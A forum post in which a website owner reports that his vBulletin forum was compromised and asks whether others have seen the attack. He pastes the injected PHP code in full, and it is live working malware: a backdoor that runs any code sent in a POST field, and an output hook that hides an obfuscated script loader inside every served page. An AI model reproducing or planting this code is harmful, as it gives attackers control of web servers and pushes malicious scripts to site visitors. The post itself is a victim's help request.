Okay guys, I was out to dinner before and came back and loaded my site, http://www.theangryforum.com to see a PHP error syntax on line 1...

I open up my index file and find this:

<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCclM0NzN1VXY24wY3JHU1ppcHQlMjBGbjdzcmloTGMlM0QlMkYlMkY3VVc5NCUyRTI0MkVpN29MRCUyRTIlMkVRTTMxbjBjOTUlMkZqb0xEcVFNM3VlN1VXcjdVV3lvN0QlMkVqc0ZuNyUzRUdTWiUzQ2loTCUyRlFNM3NjbjBjcjJFaWlwdCUzRScpLnJlcGxhY2UoL283RHxHU1p8aWhMfDdVV3xvTER8Rm43fG4wY3xRTTN8MkVpL2csIiIpKTsKIC0tPjwvc2NyaXB0Pg=='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?><?php

This was dumped on a crap load of my files. The file structure was not 777 for these files either, and I do not know how this was injected in. My database was not touched, but I had to delete the installation of VB and install a fresh install and connect to the database.

I did some research on this, and results are slim but its attacking programs as well. Oscommerce for example:

Anyone see this before?

I was more in panic to get my site up, now that I DO have a copy of all of my files and backups, if this hits again I will investigate the source further, possibly copy the whole structure and send it to VB or what ever can be done.
